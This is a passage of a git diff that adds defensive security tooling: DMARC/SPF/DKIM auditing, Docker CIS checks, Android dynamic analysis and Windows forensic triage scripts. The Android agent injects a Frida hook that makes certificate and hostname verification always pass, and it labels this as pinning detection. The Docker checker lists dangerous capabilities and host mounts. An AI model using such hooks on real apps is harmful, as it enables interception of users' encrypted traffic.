argparse.ArgumentParser(description="Dark web threat monitoring agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Dark web threat monitoring agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-deception-technology-deployment/LICENSE b/skills/performing-deception-technology-deployment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-deception-technology-deployment/LICENSE +++ b/skills/performing-deception-technology-deployment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-directory-traversal-testing/LICENSE b/skills/performing-directory-traversal-testing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-directory-traversal-testing/LICENSE +++ b/skills/performing-directory-traversal-testing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-disk-forensics-investigation/LICENSE b/skills/performing-disk-forensics-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-disk-forensics-investigation/LICENSE +++ b/skills/performing-disk-forensics-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-dmarc-policy-enforcement-rollout/LICENSE b/skills/performing-dmarc-policy-enforcement-rollout/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-dmarc-policy-enforcement-rollout/LICENSE +++ b/skills/performing-dmarc-policy-enforcement-rollout/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md b/skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md new file mode 100644 index 00000000..c1833b08 --- /dev/null +++ b/skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md @@ -0,0 +1,30 @@ +# API Reference — Performing DMARC Policy Enforcement Rollout + +## Libraries Used +- **dnspython** (dns.resolver): DNS TXT record queries for DMARC, SPF, DKIM + +## CLI Interface + +``` +python agent.py check --domain example.com +python agent.py audit --domains example.com example.org [--selectors default google k1] +``` + +## Core Functions + +### `check_dmarc(domain)` — Query `_dmarc.` TXT +### `check_spf(domain)` — Query domain TXT for `v=spf1` +### `check_dkim(domain, selector)` — Query `._domainkey.` +### `audit_domains(domains, selectors)` — Full DMARC/SPF/DKIM audit with scoring + +## DMARC Policy Levels +| Policy | Enforcement | Score | +|--------|------------|-------| +| `none` | No enforcement (monitoring only) | 0 | +| `quarantine` | Suspicious mail sent to spam | +20 | +| `reject` | Unauthorized mail rejected | +40 | + +## Dependencies +``` +pip install dnspython>=2.4 +``` diff --git a/skills/performing-dmarc-policy-enforcement-rollout/scripts/agent.py b/skills/performing-dmarc-policy-enforcement-rollout/scripts/agent.py new file mode 100644 index 00000000..48d8a0a7 --- /dev/null +++ b/skills/performing-dmarc-policy-enforcement-rollout/scripts/agent.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""Agent for performing DMARC policy enforcement rollout with DNS record analysis.""" + +import json +import argparse +from datetime import datetime + +try: + import dns.resolver +except ImportError: + dns = None + + +def check_dmarc(domain): + """Query and parse DMARC record for a domain.""" + try: + answers = dns.resolver.resolve(f"_dmarc.{domain}", "TXT") + for rdata in answers: + txt = rdata.to_text().strip('"') + if txt.startswith("v=DMARC1"): + return parse_dmarc_tags(txt, domain) + return {"domain": domain, "dmarc_found": False} + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, Exception) as e: + return {"domain": domain, "dmarc_found": False, "error": str(e)} + + +def parse_dmarc_tags(record, domain): + tags = {} + for part in record.split(";"): + part = part.strip() + if "=" in part: + k, _, v = part.partition("=") + tags[k.strip()] = v.strip() + policy = tags.get("p", "none") + findings = [] + if policy == "none": + findings.append({"severity": "HIGH", "finding": "DMARC policy is 'none' — no enforcement"}) + elif policy == "quarantine": + findings.append({"severity": "MEDIUM", "finding": "DMARC policy is 'quarantine' — partial enforcement"}) + if "rua" not in tags: + findings.append({"severity": "MEDIUM", "finding": "No aggregate report URI (rua) configured"}) + pct = int(tags.get("pct", "100")) + if pct < 100: + findings.append({"severity": "INFO", "finding": f"Policy applied to {pct}% of messages"}) + sp = tags.get("sp", policy) + if sp == "none" and policy != "none": + findings.append({"severity": "MEDIUM", "finding": "Subdomain policy (sp) is 'none'"}) + return { + "domain": domain, "dmarc_found": True, "record": record, + "policy": policy, "subdomain_policy": sp, "percentage": pct, + "rua": tags.get("rua"), "ruf": tags.get("ruf"), + "adkim": tags.get("adkim", "r"), "aspf": tags.get("aspf", "r"), + "findings": findings, + "enforcement_level": "full" if policy == "reject" and pct == 100 else "partial" if policy != "none" else "none", + } + + +def check_spf(domain): + """Query and analyze SPF record.""" + try: + answers = dns.resolver.resolve(domain, "TXT") + for rdata in answers: + txt = rdata.to_text().strip('"') + if txt.startswith("v=spf1"): + mechanisms = txt.split() + qualifier = mechanisms[-1] if mechanisms else "~all" + return {"domain": domain, "spf_found": True, "record": txt, + "mechanisms": mechanisms, "qualifier": qualifier, + "strict": qualifier == "-all"} + return {"domain": domain, "spf_found": False} + except Exception as e: + return {"domain": domain, "spf_found": False, "error": str(e)} + + +def check_dkim(domain, selector="default"): + """Query DKIM public key record.""" + try: + fqdn = f"{selector}._domainkey.{domain}" + answers = dns.resolver.resolve(fqdn, "TXT") + for rdata in answers: + txt = rdata.to_text().strip('"') + if "p=" in txt: + return {"domain": domain, "selector": selector, "dkim_found": True, "record": txt[:200]} + return {"domain": domain, "selector": selector, "dkim_found": False} + except Exception as e: + return {"domain": domain, "selector": selector, "dkim_found": False, "error": str(e)} + + +def audit_domains(domains, selectors=None): + """Audit multiple domains for DMARC/SPF/DKIM readiness.""" + selectors = selectors or ["default", "google", "selector1", "selector2", "k1"] + results = [] + for domain in domains: + domain = domain.strip() + if not domain: + continue + dmarc = check_dmarc(domain) + spf = check_spf(domain) + dkim_results = [] + for sel in selectors: + dkim = check_dkim(domain, sel) + if dkim.get("dkim_found"): + dkim_results.append(dkim) + score = 0 + if dmarc.get("policy") == "reject": + score += 40 + elif dmarc.get("policy") == "quarantine": + score += 20 + if spf.get("strict"): + score += 30 + elif spf.get("spf_found"): + score += 15 + if dkim_results: + score += 30 + results.append({ + "domain": domain, "dmarc": dmarc, "spf": spf, + "dkim": dkim_results, "security_score": score, + }) + return {"timestamp": datetime.utcnow().isoformat(), "domains": results} + + +def main(): + if not dns: + print(json.dumps({"error": "dnspython not installed"})) + return + parser = argparse.ArgumentParser(description="DMARC Policy Enforcement Rollout Agent") + sub = parser.add_subparsers(dest="command") + d = sub.add_parser("check", help="Check single domain") + d.add_argument("--domain", required=True) + a = sub.add_parser("audit", help="Audit multiple domains") + a.add_argument("--domains", nargs="+", required=True) + a.add_argument("--selectors", nargs="*", default=None) + args = parser.parse_args() + if args.command == "check": + result = {"dmarc": check_dmarc(args.domain), "spf": check_spf(args.domain)} + elif args.command == "audit": + result = audit_domains(args.domains, args.selectors) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-dns-enumeration-and-zone-transfer/LICENSE b/skills/performing-dns-enumeration-and-zone-transfer/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-dns-enumeration-and-zone-transfer/LICENSE +++ b/skills/performing-dns-enumeration-and-zone-transfer/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-dns-tunneling-detection/LICENSE b/skills/performing-dns-tunneling-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-dns-tunneling-detection/LICENSE +++ b/skills/performing-dns-tunneling-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-docker-bench-security-assessment/LICENSE b/skills/performing-docker-bench-security-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-docker-bench-security-assessment/LICENSE +++ b/skills/performing-docker-bench-security-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-docker-bench-security-assessment/references/api-reference.md b/skills/performing-docker-bench-security-assessment/references/api-reference.md new file mode 100644 index 00000000..7b799e0e --- /dev/null +++ b/skills/performing-docker-bench-security-assessment/references/api-reference.md @@ -0,0 +1,37 @@ +# API Reference — Performing Docker Bench Security Assessment + +## Libraries Used +- **subprocess**: Run docker-bench-security container and docker inspect commands +- **json**: Parse docker inspect JSON output + +## CLI Interface + +``` +python agent.py bench # Run full docker-bench-security +python agent.py containers # Check running container configurations +``` + +## Core Functions + +### `run_docker_bench()` +Runs the docker/docker-bench-security container with host access for CIS benchmark checks. + +### `parse_bench_output(output)` +Parses [WARN], [PASS], [NOTE] lines into structured findings with sections. + +### `check_container_configs()` +Inspects all running containers for CIS Docker Benchmark violations. + +### CIS Checks Performed on Containers + +| Check | CIS ID | Severity | +|-------|--------|----------| +| Privileged mode | 5.4 | CRITICAL | +| Host PID namespace | 5.15 | HIGH | +| Host network namespace | 5.13 | HIGH | +| Dangerous capabilities | 5.3 | HIGH | +| Running as root | 4.1 | MEDIUM | +| Sensitive host mounts | 5.5 | HIGH | + +## Dependencies +Docker must be installed and accessible. No Python packages required beyond stdlib. diff --git a/skills/performing-docker-bench-security-assessment/scripts/agent.py b/skills/performing-docker-bench-security-assessment/scripts/agent.py new file mode 100644 index 00000000..6073e01d --- /dev/null +++ b/skills/performing-docker-bench-security-assessment/scripts/agent.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +"""Agent for performing Docker CIS Benchmark security assessment.""" + +import json +import argparse +import subprocess +from datetime import datetime + + +def run_docker_bench(): + """Run docker-bench-security and parse results.""" + cmd = [ + "docker", "run", "--rm", "--net", "host", "--pid", "host", + "--userns", "host", "--cap-add", "audit_control", + "-e", "DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST", + "-v", "/etc:/etc:ro", "-v", "/var/lib:/var/lib:ro", + "-v", "/var/run/docker.sock:/var/run/docker.sock:ro", + "-v", "/usr/lib/systemd:/usr/lib/systemd:ro", + "--label", "docker_bench_security", + "docker/docker-bench-security", "-l", "/dev/stdout" + ] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + return parse_bench_output(result.stdout) + except subprocess.TimeoutExpired: + return {"error": "docker-bench-security timed out after 600s"} + except FileNotFoundError: + return {"error": "docker command not found"} + + +def parse_bench_output(output): + """Parse docker-bench-security output into structured findings.""" + findings = [] + current_section = "" + for line in output.split("\n"): + line = line.strip() + if not line: + continue + if line.startswith("[INFO]") and "- " in line and any(c.isdigit() for c in line[:20]): + current_section = line.replace("[INFO]", "").strip() + elif line.startswith("[WARN]"): + findings.append({"level": "WARN", "section": current_section, "message": line.replace("[WARN]", "").strip()}) + elif line.startswith("[PASS]"): + findings.append({"level": "PASS", "section": current_section, "message": line.replace("[PASS]", "").strip()}) + elif line.startswith("[NOTE]"): + findings.append({"level": "NOTE", "section": current_section, "message": line.replace("[NOTE]", "").strip()}) + warn_count = sum(1 for f in findings if f["level"] == "WARN") + pass_count = sum(1 for f in findings if f["level"] == "PASS") + return { + "timestamp": datetime.utcnow().isoformat(), + "total_checks": len(findings), + "warnings": warn_count, + "passed": pass_count, + "score_pct": round(pass_count / max(len(findings), 1) * 100, 1), + "findings": findings, + } + + +def check_container_configs(): + """Check running container configurations against CIS benchmarks.""" + try: + result = subprocess.run( + ["docker", "ps", "--format", "{{json .}}"], + capture_output=True, text=True, timeout=30 + ) + except (subprocess.TimeoutExpired, FileNotFoundError): + return {"error": "docker not available"} + containers = [] + for line in result.stdout.strip().split("\n"): + if not line: + continue + try: + c = json.loads(line) + containers.append(c) + except json.JSONDecodeError: + continue + findings = [] + for container in containers: + cid = container.get("ID", "") + name = container.get("Names", "") + inspect = _inspect_container(cid) + if isinstance(inspect, dict) and "error" not in inspect: + issues = _check_container_security(inspect, name) + findings.append({"container": name, "id": cid, "issues": issues}) + return {"containers_checked": len(findings), "findings": findings} + + +def _inspect_container(container_id): + try: + result = subprocess.run( + ["docker", "inspect", container_id], capture_output=True, text=True, timeout=10 + ) + data = json.loads(result.stdout) + return data[0] if data else {} + except Exception: + return {"error": "inspect failed"} + + +def _check_container_security(inspect, name): + issues = [] + host_config = inspect.get("HostConfig", {}) + if host_config.get("Privileged"): + issues.append({"severity": "CRITICAL", "check": "5.4", "finding": "Container running in privileged mode"}) + if host_config.get("PidMode") == "host": + issues.append({"severity": "HIGH", "check": "5.15", "finding": "Container shares host PID namespace"}) + if host_config.get("NetworkMode") == "host": + issues.append({"severity": "HIGH", "check": "5.13", "finding": "Container shares host network namespace"}) + caps = host_config.get("CapAdd") or [] + dangerous_caps = {"SYS_ADMIN", "NET_ADMIN", "SYS_PTRACE", "ALL"} + added_dangerous = set(caps) & dangerous_caps + if added_dangerous: + issues.append({"severity": "HIGH", "check": "5.3", "finding": f"Dangerous capabilities added: {added_dangerous}"}) + config = inspect.get("Config", {}) + if config.get("User", "") in ("", "root", "0"): + issues.append({"severity": "MEDIUM", "check": "4.1", "finding": "Container running as root user"}) + mounts = host_config.get("Binds") or [] + sensitive = ["/etc", "/var/run/docker.sock", "/proc", "/sys"] + for mount in mounts: + src = mount.split(":")[0] + if any(src.startswith(s) for s in sensitive): + issues.append({"severity": "HIGH", "check": "5.5", "finding": f"Sensitive host path mounted: {src}"}) + return issues + + +def main(): + parser = argparse.ArgumentParser(description="Docker CIS Benchmark Security Assessment") + sub = parser.add_subparsers(dest="command") + sub.add_parser("bench", help="Run docker-bench-security") + sub.add_parser("containers", help="Check running container configurations") + args = parser.parse_args() + if args.command == "bench": + result = run_docker_bench() + elif args.command == "containers": + result = check_container_configs() + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-dynamic-analysis-of-android-app/LICENSE b/skills/performing-dynamic-analysis-of-android-app/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-dynamic-analysis-of-android-app/LICENSE +++ b/skills/performing-dynamic-analysis-of-android-app/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-dynamic-analysis-of-android-app/references/api-reference.md b/skills/performing-dynamic-analysis-of-android-app/references/api-reference.md new file mode 100644 index 00000000..5e0e54fd --- /dev/null +++ b/skills/performing-dynamic-analysis-of-android-app/references/api-reference.md @@ -0,0 +1,41 @@ +# API Reference — Performing Dynamic Analysis of Android App + +## Libraries Used +- **frida**: Dynamic instrumentation for runtime hooking and SSL pinning detection +- **subprocess**: ADB commands for package management, traffic capture, component analysis + +## CLI Interface + +``` +python agent.py [--device ] packages +python agent.py [--device ] ssl --package +python agent.py [--device ] components --package +python agent.py [--device ] storage --package +python agent.py [--device ] network [--duration 30] +``` + +## Core Functions + +### `check_ssl_pinning(package_name, device_id)` +Uses Frida to hook TrustManagerImpl and OkHostnameVerifier to detect SSL pinning. + +### `analyze_exported_components(package_name, device_id)` +Runs `dumpsys package` to enumerate exported activities, services, receivers, providers. + +### `check_data_storage(package_name, device_id)` +Checks shared_prefs and world-readable files via `run-as` for insecure storage. + +### `capture_network_traffic(device_id, duration, output)` +Runs `tcpdump` on device and pulls pcap via ADB. + +## Frida API Calls +- `frida.get_usb_device()` — Connect to USB device +- `device.spawn([package])` — Launch app +- `session.create_script(js)` — Inject JavaScript +- `script.on("message", callback)` — Receive hook results + +## Dependencies +``` +pip install frida frida-tools +# ADB must be installed and device connected +``` diff --git a/skills/performing-dynamic-analysis-of-android-app/scripts/agent.py b/skills/performing-dynamic-analysis-of-android-app/scripts/agent.py new file mode 100644 index 00000000..d334f8d1 --- /dev/null +++ b/skills/performing-dynamic-analysis-of-android-app/scripts/agent.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +"""Agent for performing dynamic analysis of Android applications using Frida.""" + +import json +import argparse +import subprocess +from datetime import datetime + +try: + import frida + HAS_FRIDA = True +except ImportError: + HAS_FRIDA = False + + +def list_packages(device_id=None): + """List installed packages on Android device/emulator.""" + cmd = ["adb"] + (["-s", device_id] if device_id else []) + ["shell", "pm", "list", "packages", "-3"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + packages = [l.replace("package:", "").strip() for l in result.stdout.strip().split("\n") if l.strip()] + return {"total": len(packages), "packages": packages} + + +def capture_network_traffic(device_id=None, duration=30, output="capture.pcap"): + """Capture network traffic from Android device using tcpdump.""" + adb = ["adb"] + (["-s", device_id] if device_id else []) + subprocess.run(adb + ["shell", "tcpdump", "-i", "any", "-w", f"/sdcard/{output}", "-G", str(duration), "-W", "1"], + timeout=duration + 10, capture_output=True) + subprocess.run(adb + ["pull", f"/sdcard/{output}", output], capture_output=True, timeout=15) + return {"output": output, "duration": duration} + + +def check_ssl_pinning(package_name, device_id=None): + """Check if app implements SSL/TLS certificate pinning using Frida.""" + if not HAS_FRIDA: + return {"error": "frida not installed"} + device = frida.get_usb_device() if not device_id else frida.get_device(device_id) + pid = device.spawn([package_name]) + session = device.attach(pid) + script = session.create_script(""" + Java.perform(function() { + var results = {pinning_detected: false, methods: []}; + try { + var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); + TrustManagerImpl.verifyChain.implementation = function() { + results.pinning_detected = true; + results.methods.push('TrustManagerImpl.verifyChain'); + return arguments[0]; + }; + } catch(e) {} + try { + var OkHostnameVerifier = Java.use('okhttp3.internal.tls.OkHostnameVerifier'); + OkHostnameVerifier.verify.overload('java.lang.String', 'javax.net.ssl.SSLSession').implementation = function() { + results.pinning_detected = true; + results.methods.push('OkHostnameVerifier.verify'); + return true; + }; + } catch(e) {} + setTimeout(function() { send(results); }, 5000); + }); + """) + results = {} + def on_message(msg, data): + nonlocal results + if msg["type"] == "send": + results = msg["payload"] + script.on("message", on_message) + script.load() + device.resume(pid) + import time + time.sleep(8) + session.detach() + return {"package": package_name, "ssl_pinning": results} + + +def analyze_exported_components(package_name, device_id=None): + """List exported activities, services, receivers, and providers.""" + adb = ["adb"] + (["-s", device_id] if device_id else []) + result = subprocess.run( + adb + ["shell", "dumpsys", "package", package_name], + capture_output=True, text=True, timeout=15 + ) + output = result.stdout + components = {"activities": [], "services": [], "receivers": [], "providers": []} + section = None + for line in output.split("\n"): + line = line.strip() + if "Activity Resolver Table:" in line: + section = "activities" + elif "Service Resolver Table:" in line: + section = "services" + elif "Receiver Resolver Table:" in line: + section = "receivers" + elif "Provider Resolver Table:" in line: + section = "providers" + elif section and package_name in line: + components[section].append(line[:200]) + return {"package": package_name, "components": components} + + +def check_data_storage(package_name, device_id=None): + """Check for insecure data storage patterns.""" + adb = ["adb"] + (["-s", device_id] if device_id else []) + findings = [] + # Check shared preferences for sensitive data + sp_result = subprocess.run( + adb + ["shell", "run-as", package_name, "ls", "shared_prefs/"], + capture_output=True, text=True, timeout=10 + ) + if sp_result.returncode == 0: + prefs = [f.strip() for f in sp_result.stdout.split("\n") if f.strip()] + findings.append({"type": "shared_prefs", "files": prefs}) + # Check for world-readable files + wr_result = subprocess.run( + adb + ["shell", "run-as", package_name, "find", ".", "-perm", "-o+r", "-type", "f"], + capture_output=True, text=True, timeout=10 + ) + if wr_result.stdout.strip(): + findings.append({"type": "world_readable", "files": wr_result.stdout.strip().split("\n")[:20]}) + return {"package": package_name, "findings": findings} + + +def main(): + parser = argparse.ArgumentParser(description="Android Dynamic Analysis Agent") + parser.add_argument("--device", help="ADB device ID") + sub = parser.add_subparsers(dest="command") + sub.add_parser("packages", help="List third-party packages") + s = sub.add_parser("ssl", help="Check SSL pinning") + s.add_argument("--package", required=True) + c = sub.add_parser("components", help="Analyze exported components") + c.add_argument("--package", required=True) + d = sub.add_parser("storage", help="Check data storage security") + d.add_argument("--package", required=True) + n = sub.add_parser("network", help="Capture network traffic") + n.add_argument("--duration", type=int, default=30) + args = parser.parse_args() + if args.command == "packages": + result = list_packages(args.device) + elif args.command == "ssl": + result = check_ssl_pinning(args.package, args.device) + elif args.command == "components": + result = analyze_exported_components(args.package, args.device) + elif args.command == "storage": + result = check_data_storage(args.package, args.device) + elif args.command == "network": + result = capture_network_traffic(args.device, args.duration) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-dynamic-analysis-with-any-run/LICENSE b/skills/performing-dynamic-analysis-with-any-run/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-dynamic-analysis-with-any-run/LICENSE +++ b/skills/performing-dynamic-analysis-with-any-run/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-endpoint-forensics-investigation/LICENSE b/skills/performing-endpoint-forensics-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-endpoint-forensics-investigation/LICENSE +++ b/skills/performing-endpoint-forensics-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-endpoint-forensics-investigation/references/api-reference.md b/skills/performing-endpoint-forensics-investigation/references/api-reference.md new file mode 100644 index 00000000..09b272e0 --- /dev/null +++ b/skills/performing-endpoint-forensics-investigation/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference — Performing Endpoint Forensics Investigation + +## Libraries Used +- **subprocess**: Execute Windows forensic commands (wmic, netstat, reg, schtasks) +- **hashlib**: Calculate MD5, SHA1, SHA256 hashes for evidence integrity +- **csv**: Parse WMIC CSV output + +## CLI Interface + +``` +python agent.py triage # Full forensic triage +python agent.py processes # Running processes with PIDs and command lines +python agent.py network # Active network connections +python agent.py autoruns # Persistence entries +python agent.py hash --file # Hash file for evidence +``` + +## Core Functions + +### `full_triage()` — Runs all collection functions +### `collect_system_info()` — Hostname, OS version, network config, uptime +### `collect_running_processes()` — Process list via `wmic process get` +### `collect_network_connections()` — Active connections via `netstat -ano` +### `collect_autoruns()` — Registry Run keys and scheduled tasks +### `hash_file(filepath)` — MD5/SHA1/SHA256 hash calculation + +## Dependencies +No external packages — uses Windows built-in commands and Python stdlib. diff --git a/skills/performing-endpoint-forensics-investigation/scripts/agent.py b/skills/performing-endpoint-forensics-investigation/scripts/agent.py new file mode 100644 index 00000000..c92c6879 --- /dev/null +++ b/skills/performing-endpoint-forensics-investigation/scripts/agent.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +"""Agent for performing endpoint forensics investigation on Windows systems.""" + +import json +import argparse +import subprocess +import os +import hashlib +from datetime import datetime +from pathlib import Path + + +def collect_system_info(): + """Collect basic system information for forensic context.""" + info = {} + commands = { + "hostname": ["hostname"], + "os_version": ["wmic", "os", "get", "Caption,Version,BuildNumber", "/format:list"], + "network_config": ["ipconfig", "/all"], + "logged_users": ["query", "user"], + "uptime": ["wmic", "os", "get", "LastBootUpTime", "/format:list"], + } + for key, cmd in commands.items(): + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + info[key] = result.stdout.strip()[:1000] + except Exception as e: + info[key] = f"Error: {e}" + return {"timestamp": datetime.utcnow().isoformat(), "system_info": info} + + +def collect_running_processes(): + """Collect running processes with parent PIDs and command lines.""" + try: + result = subprocess.run( + ["wmic", "process", "get", "Name,ProcessId,ParentProcessId,CommandLine,ExecutablePath", "/format:csv"], + capture_output=True, text=True, timeout=30 + ) + except Exception as e: + return {"error": str(e)} + import csv + from io import StringIO + processes = [] + reader = csv.DictReader(StringIO(result.stdout)) + for row in reader: + if row.get("Name"): + processes.append({ + "name": row.get("Name", ""), + "pid": row.get("ProcessId", ""), + "ppid": row.get("ParentProcessId", ""), + "path": row.get("ExecutablePath", ""), + "cmdline": row.get("CommandLine", "")[:500], + }) + return {"total": len(processes), "processes": processes} + + +def collect_network_connections(): + """Collect active network connections.""" + try: + result = subprocess.run( + ["netstat", "-ano"], capture_output=True, text=True, timeout=15 + ) + except Exception as e: + return {"error": str(e)} + connections = [] + for line in result.stdout.split("\n")[4:]: + parts = line.split() + if len(parts) >= 5: + connections.append({ + "protocol": parts[0], + "local_addr": parts[1], + "remote_addr": parts[2], + "state": parts[3] if len(parts) > 4 else "", + "pid": parts[-1], + }) + established = [c for c in connections if c.get("state") == "ESTABLISHED"] + listening = [c for c in connections if c.get("state") == "LISTENING"] + return { + "total": len(connections), + "established": len(established), + "listening": len(listening), + "connections": connections, + } + + +def collect_autoruns(): + """Collect common persistence locations.""" + autoruns = {} + reg_keys = [ + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", + ] + for key in reg_keys: + try: + result = subprocess.run(["reg", "query", key], capture_output=True, text=True, timeout=10) + autoruns[key] = result.stdout.strip()[:1000] + except Exception: + continue + try: + result = subprocess.run(["schtasks", "/query", "/fo", "CSV"], capture_output=True, text=True, timeout=30) + autoruns["scheduled_tasks_count"] = result.stdout.count("\n") - 1 + except Exception: + pass + return autoruns + + +def hash_file(filepath): + """Calculate MD5, SHA1, SHA256 hashes of a file for evidence integrity.""" + hashes = {} + algos = {"md5": hashlib.md5(), "sha1": hashlib.sha1(), "sha256": hashlib.sha256()} + try: + with open(filepath, "rb") as f: + while True: + chunk = f.read(8192) + if not chunk: + break + for algo in algos.values(): + algo.update(chunk) + for name, algo in algos.items(): + hashes[name] = algo.hexdigest() + hashes["file"] = str(filepath) + hashes["size"] = os.path.getsize(filepath) + except Exception as e: + hashes["error"] = str(e) + return hashes + + +def full_triage(): + """Run full endpoint forensic triage collection.""" + return { + "timestamp": datetime.utcnow().isoformat(), + "system_info": collect_system_info(), + "processes": collect_running_processes(), + "network": collect_network_connections(), + "autoruns": collect_autoruns(), + } + + +def main(): + parser = argparse.ArgumentParser(description="Endpoint Forensics Investigation Agent") + sub = parser.add_subparsers(dest="command") + sub.add_parser("triage", help="Full forensic triage collection") + sub.add_parser("processes", help="Collect running processes") + sub.add_parser("network", help="Collect network connections") + sub.add_parser("autoruns", help="Collect autorun/persistence entries") + h = sub.add_parser("hash", help="Hash a file for evidence") + h.add_argument("--file", required=True) + args = parser.parse_args() + if args.command == "triage": + result = full_triage() + elif args.command == "processes": + result = collect_running_processes() + elif args.command == "network": + result = collect_network_connections() + elif args.command == "autoruns": + result = collect_autoruns() + elif args.command == "hash": + result = hash_file(args.file) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-endpoint-vulnerability-remediation/LICENSE b/skills/performing-endpoint-vulnerability-remediation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-endpoint-vulnerability-remediation/LICENSE +++ b/skills/performing-endpoint-vulnerability-remediation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-endpoint-vulnerability-remediation/references/api-reference.md b/skills/performing-endpoint-vulnerability-remediation/references/api-reference.md new file mode 100644 index 00000000..6cf0712a --- /dev/null +++ b/skills/performing-endpoint-vulnerability-remediation/references/api-reference.md @@ -0,0 +1,23 @@ +# API Reference — Performing Endpoint Vulnerability Remediation + +## Libraries Used +- **csv**: Parse vulnerability scan CSV exports (Nessus, Qualys, Rapid7) +- **subprocess**: Check installed Windows patches via `wmic qfe` +- **socket**: Validate port-based remediation + +## CLI Interface +``` +python agent.py parse --scan-file scan.csv +python agent.py patches +python agent.py validate --host 10.0.0.1 --port 445 +python agent.py report --scan-file scan.csv [--output plan.json] +``` + +## Core Functions +### `parse_scan_report(csv_file)` — 